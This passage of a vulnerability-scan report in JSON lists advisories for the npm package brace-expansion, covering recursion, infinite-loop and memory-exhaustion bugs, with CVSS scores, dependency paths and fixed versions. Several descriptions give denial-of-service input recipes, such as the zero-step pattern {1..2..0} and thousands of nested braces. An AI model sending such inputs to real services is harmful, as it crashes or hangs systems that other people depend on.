"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
